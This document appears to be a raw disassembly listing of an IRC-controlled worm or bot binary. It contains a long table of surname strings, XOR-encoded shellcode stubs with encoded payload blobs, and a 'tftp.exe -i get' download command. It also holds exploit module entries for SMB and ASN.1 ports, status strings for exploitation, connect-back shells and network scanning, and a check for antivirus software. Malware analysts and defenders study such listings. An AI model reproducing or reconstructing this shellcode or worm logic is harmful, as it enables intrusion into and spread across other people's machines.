'Cosmides',0 ; DATA XREF: ___:0042D9CCo align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C8o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9C4o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042D9C0o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9BCo align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B8o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9B4o align 10h aCompton db 'Compton',0 ; DATA XREF: ___:0042D9ACo ; ___:0042D9B0o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A8o align 10h aCollard db 'Collard',0 ; DATA XREF: ___:0042D9A4o aColella db 'Colella',0 ; DATA XREF: ___:0042D9A0o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D99Co aCoito db 'Coito',0 ; DATA XREF: ___:0042D998o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D994o aClow db 'Clow',0 ; DATA XREF: ___:0042D990o align 10h aClifton db 'Clifton',0 ; DATA XREF: ___:0042D98Co aClement db 'Clement',0 ; DATA XREF: ___:0042D988o aClark db 'Clark',0 ; DATA XREF: ___:0042D984o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042D980o align 10h aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D97Co aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D978o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D974o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D970o align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042D96Co align 10h aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D968o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D964o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D960o aChristie db 'Christie',0 ; DATA XREF: ___:0042D95Co align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D958o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D954o align 10h aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D950o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D94Co aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D948o aChilds db 'Childs',0 ; DATA XREF: ___:0042D944o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042D940o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D93Co align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D938o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D934o align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D930o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D92Co align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D928o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D924o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D920o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D91Co align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042D918o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D914o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D910o align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D90Co align 10h aCase db 'Case',0 ; DATA XREF: ___:0042D908o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042D904o align 10h aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D900o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D8FCo align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F8o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8F4o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8F0o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8ECo align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E8o align 10h aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8E4o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8E0o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8DCo aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D8o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8D4o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8D0o align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8CCo align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C8o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8C4o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8C0o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8BCo align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B8o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8B4o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8B0o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8ACo align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A8o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D8A4o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D8A0o align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042D89Co align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D898o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042D894o align 10h aBunton db 'Bunton',0 ; DATA XREF: ___:0042D890o align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042D88Co aBudding db 'Budding',0 ; DATA XREF: ___:0042D888o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D884o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D880o aBrook db 'Brook',0 ; DATA XREF: ___:0042D87Co align 10h aBroca db 'Broca',0 ; DATA XREF: ___:0042D878o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042D874o align 10h aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D870o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D86Co aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D868o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D860o ; ___:0042D864o align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D85Co aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D858o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D854o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D850o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D84Co aBradac db 'Bradac',0 ; DATA XREF: ___:0042D848o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D844o align 10h aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D840o align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042D83Co align 10h aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D838o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D834o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D830o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D82Co align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D828o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D824o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D820o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D81Co align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D818o align 10h aBothman db 'Bothman',0 ; DATA XREF: ___:0042D814o aBossi db 'Bossi',0 ; DATA XREF: ___:0042D810o align 10h aBorden db 'Borden',0 ; DATA XREF: ___:0042D80Co align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042D808o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D804o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D800o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7FCo align 10h aBook db 'Book',0 ; DATA XREF: ___:0042D7F8o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7F4o align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7F0o align 10h aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7ECo align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E8o align 10h aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7E4o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7E0o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7DCo align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D8o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7D4o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7D0o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7CCo align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C8o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7C4o align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7C0o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7BCo align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B8o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7B4o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7B0o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7ACo align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A8o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042D7A4o align 10h aBisema db 'Bisema',0 ; DATA XREF: ___:0042D7A0o align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042D79Co aBinion db 'Binion',0 ; DATA XREF: ___:0042D798o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D794o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D790o align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D78Co aBetti db 'Betti',0 ; DATA XREF: ___:0042D788o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D784o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042D780o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D77Co align 10h aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D778o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D774o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D770o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D76Co align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D768o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D764o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D760o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D75Co align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D758o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D754o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D750o align 10h aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D74Co align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D748o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D744o aBeder db 'Beder',0 ; DATA XREF: ___:0042D740o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D73Co aBean db 'Bean',0 ; DATA XREF: ___:0042D738o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D734o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D730o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D72Co align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D728o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D724o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D720o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D71Co align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D718o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D714o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D710o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D70Co aBarry db 'Barry',0 ; DATA XREF: ___:0042D708o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D704o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D700o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6FCo align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F8o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6F4o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6F0o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6ECo align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E8o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6E4o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D6E0o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6DCo align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D8o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6D4o align 10h aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6D0o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6CCo align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C8o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6C4o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6C0o aBady db 'Bady',0 ; DATA XREF: ___:0042D6BCo align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B8o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6B4o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042D6B0o align 10h aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6ACo align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A8o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D6A4o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D6A0o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D69Co aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D698o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D694o align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D690o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D68Co align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D688o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D684o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042D680o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D67Co aArbia db 'Arbia',0 ; DATA XREF: ___:0042D678o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D674o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D670o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D66Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D668o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042D664o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D660o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D65Co align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D658o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D654o align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D650o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D64Co align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D648o align 10h aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D644o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D640o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D63Co aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D638o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D634o align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D630o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D62Co align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D628o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D624o align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D620o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D61Co align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D618o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D614o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D610o align 10h aAddison db 'Addison',0 ; DATA XREF: ___:off_42D60Co aAdams db 'Adams',0 ; DATA XREF: ___:0042D608o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D604o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D600o align 4 byte_431258 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_43125C dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431260 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431268 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_43126C dd 334B32h ; DATA XREF: ___:0040AF94o dword_431270 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_431274 dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_431278 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_43127C dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_431280 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_431284 dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_431288 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431290 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_4312A0 ; --------------------------------------------------------------------------- loc_43129E: ; CODE XREF: ___:loc_4312A0p jmp short loc_4312A5 ; --------------------------------------------------------------------------- loc_4312A0: ; CODE XREF: ___:0043129Cj call loc_43129E loc_4312A5: ; CODE XREF: ___:loc_43129Ej pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312AC: ; CODE XREF: ___:004312B1j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312AC add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312C2: ; CODE XREF: ___:004312C7j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312C2 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_431364 jnz short loc_431350 retn ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: ___:0043134Dj ; ___:0043135Dj call near ptr loc_431355+1 loc_431355: ; CODE XREF: ___:loc_431350p add [edx+0], ch call sub_431364 jz loc_431350 retn ; =============== S U B R O U T I N E ======================================= sub_431364 proc near ; CODE XREF: ___:00431348p ; ___:00431358p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_431364 endp ; --------------------------------------------------------------------------- align 10h dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 8 aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431410 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_431414 dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431418 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_43141C dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431420 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_431424 dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 10h dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 10h dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 10h dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 10h db 2 dup(0) byte_4315F2 db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_43161E ; =============== S U B R O U T I N E ======================================= sub_43160E proc near ; CODE XREF: sub_43160E:loc_43161Ep pop edx dec edx xor ecx, ecx mov cx, 166h loc_431616: ; CODE XREF: sub_43160E+Cj xor byte ptr [edx+ecx], 99h loop loc_431616 jmp short loc_431623 ; --------------------------------------------------------------------------- loc_43161E: ; CODE XREF: ___:0043160Cj call sub_43160E loc_431623: ; CODE XREF: sub_43160E+Ej jo short near ptr dword_4315AC+12h cwde cdq cdq retn sub_43160E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 10h dword_4317A0 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317AC db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317CC db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431814 db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431850 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431860 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_43187C db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318B0 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_4318E0 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_431900 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_43191C db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 10h unk_431950 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_431988 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_4319B8 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4319EC db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_431A20 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A54 db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431A7C db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AB4 db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 